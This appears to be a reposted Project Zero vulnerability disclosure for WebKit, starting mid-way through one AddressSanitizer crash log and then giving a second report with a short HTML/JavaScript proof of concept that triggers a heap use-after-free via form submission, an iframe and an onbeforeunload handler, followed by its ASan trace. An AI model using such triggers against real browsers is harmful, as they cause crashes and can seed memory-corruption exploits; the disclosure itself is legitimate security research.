    #11 0x1144072f8 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cf2f8)
    #12 0x1163be49d in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x238649d)
    #13 0x115a321e6 in WebCore::jsNodePrototypeFunctionAppendChildBody(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19fa1e6)
    #14 0x115a2c648 in long long WebCore::IDLOperation<WebCore::JSNode>::call<&(WebCore::jsNodePrototypeFunctionAppendChildBody(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19f4648)
    #15 0x354389601027  (<unknown module>)
    #16 0x122546dd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #17 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #18 0x12253ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #19 0x1221a3847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #20 0x12212488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #21 0x12173d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #22 0x12173d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #23 0x12173dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #24 0x115276615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #25 0x1156896cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #26 0x1149f5010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #27 0x1149f4ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #28 0x1149bcb97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #29 0x1149bdbde in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985bde)

previously allocated by thread T0 here:
    #0 0x111d31d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x122c0ead4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x122c0cd6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x122b93247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x122b9263a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x114d97a90 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd5fa90)
    #7 0x114d97df3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd5fdf3)
    #8 0x114db0a77 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd78a77)
    #9 0x114dad5cf in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd755cf)
    #10 0x114dad43f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7543f)
    #11 0x114b20fd8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae8fd8)
    #12 0x114b212d3 in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae92d3)
    #13 0x114d9f8b0 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd678b0)
    #14 0x114e80f59 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe48f59)
    #15 0x114416e68 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3dee68)
    #16 0x114416cad in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3decad)
    #17 0x114404d67 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ccd67)
    #18 0x114403396 in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cb396)
    #19 0x114d4acdc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd12cdc)
    #20 0x114d43ea7 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0bea7)
    #21 0x114d73c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #22 0x114d73849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #23 0x114d729c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #24 0x114d744e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #25 0x114752531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #26 0x11488f63d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #27 0x114850736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #28 0x1142cc047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #29 0x1142c4df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3749b) in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger)
Shadow bytes around the buggy address:
  0x1c18000172b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c18000172c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c18000172d0: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
  0x1c18000172e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c18000172f0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c1800017300: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1800017310: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800017320: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x1c1800017330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1800017340: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800017350: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==934==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1353

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function go() {
  iframe.name = "foo";
  var form = document.createElement("form");
  iframe.src = "data:text/html,foo";
  form.submit();
  window.onbeforeunload = f;
}
function f() {
  document.head.appendChild(del);
}

</script>
<body onload=go()>
<del id="del">
<iframe id="iframe"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==689==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000889c8 at pc 0x000114c94a57 bp 0x7fff4fc33210 sp 0x7fff4fc33208
READ of size 8 at 0x6110000889c8 thread T0
==689==WARNING: invalid path to external symbolizer!
==689==WARNING: Failed to use and restart external symbolizer!
    #0 0x114c94a56 in WTF::UniqueRef<WebCore::FrameLoader>::get() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x45a56)
    #1 0x1154657ad in WebCore::DocumentLoader::frameLoader() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8167ad)
    #2 0x115466208 in WebCore::DocumentLoader::mainReceivedError(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x817208)
    #3 0x1154672cc in WebCore::DocumentLoader::cancelMainResourceLoad(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8182cc)
    #4 0x115469d2b in WebCore::DocumentLoader::stopLoadingForPolicyChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81ad2b)
    #5 0x11546a995 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81b995)
    #6 0x1108c81b5 in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForResponse(WebCore::ResourceResponse const&, WebCore::ResourceRequest const&, WTF::Function<void (WebCore::PolicyAction)>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x77e1b5)
    #7 0x115468e8a in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x819e8a)
    #8 0x114edcdb7 in WebCore::CachedRawResource::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28ddb7)
    #9 0x1179b42a2 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d652a2)
    #10 0x1175da5da in auto WebCore::ResourceLoader::loadDataURL()::$_0::operator()<std::optional<WebCore::DataURLDecoder::Result> >(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298b5da)
    #11 0x1175d9fba in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_0>::call(std::optional<WebCore::DataURLDecoder::Result>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298afba)
    #12 0x11535729a in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70829a)
    #13 0x11535709b in WebCore::DataURLDecoder::DecodingResultDispatcher::timerFired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70809b)
    #14 0x1237d767d in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d2467d)
    #15 0x7fff8c5dfc53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #16 0x7fff8c5df8de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #17 0x7fff8c5df439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #18 0x7fff8c5d6b80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #19 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #20 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #21 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #22 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #23 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #24 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #25 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #26 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #27 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #28 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #29 0x10ffc956c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #30 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x6110000889c8 is located 136 bytes inside of 240-byte region [0x611000088940,0x611000088a30)
freed by thread T0 here:
    #0 0x113395294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x123825650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x11550fb0e in WTF::RefPtr<WebCore::Frame>::operator=(std::nullptr_t) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8c0b0e)
    #3 0x1175d56e9 in WebCore::ResourceLoader::releaseResources() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29866e9)
    #4 0x1175d882c in WebCore::ResourceLoader::cancel(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298982c)
    #5 0x1154672b9 in WebCore::DocumentLoader::cancelMainResourceLoad(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8182b9)
    #6 0x115469d2b in WebCore::DocumentLoader::stopLoadingForPolicyChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81ad2b)
    #7 0x11546a995 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81b995)
    #8 0x1108c81b5 in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForResponse(WebCore::ResourceResponse const&, WebCore::ResourceRequest const&, WTF::Function<void (WebCore::PolicyAction)>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x77e1b5)
    #9 0x115468e8a in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x819e8a)
    #10 0x114edcdb7 in WebCore::CachedRawResource::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28ddb7)
    #11 0x1179b42a2 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d652a2)
    #12 0x1175da5da in auto WebCore::ResourceLoader::loadDataURL()::$_0::operator()<std::optional<WebCore::DataURLDecoder::Result> >(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298b5da)
    #13 0x1175d9fba in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_0>::call(std::optional<WebCore::DataURLDecoder::Result>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298afba)
    #14 0x11535729a in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70829a)
    #15 0x11535709b in WebCore::DataURLDecoder::DecodingResultDispatcher::timerFired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70809b)
    #16 0x1237d767d in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d2467d)
    #17 0x7fff8c5dfc53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #18 0x7fff8c5df8de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #19 0x7fff8c5df439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #20 0x7fff8c5d6b80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #21 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #22 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #23 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #24 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #25 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #26 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #27 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #28 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #29 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)

previously allocated by thread T0 here:
    #0 0x113394d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x123825ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x123823d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x1237aa247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x1237a963a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x114da35b8 in WTF::ThreadSafeRefCountedBase::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1545b8)
    #7 0x115789203 in WebCore::Frame::create(WebCore::Page*, WebCore::HTMLFrameOwnerElement*, WebCore::FrameLoaderClient*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3a203)
    #8 0x1108b8f00 in WebKit::WebFrame::createSubframe(WebKit::WebPage*, WTF::String const&, WebCore::HTMLFrameOwnerElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x76ef00)
    #9 0x1108d12eb in WebKit::WebFrameLoaderClient::createFrame(WebCore::URL const&, WTF::String const&, WebCore::HTMLFrameOwnerElement&, WTF::String const&, bool, int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x7872eb)
    #10 0x1179a820f in WebCore::SubframeLoader::loadSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::String const&, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d5920f)
    #11 0x1179a637e in WebCore::SubframeLoader::loadOrRedirectSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d5737e)
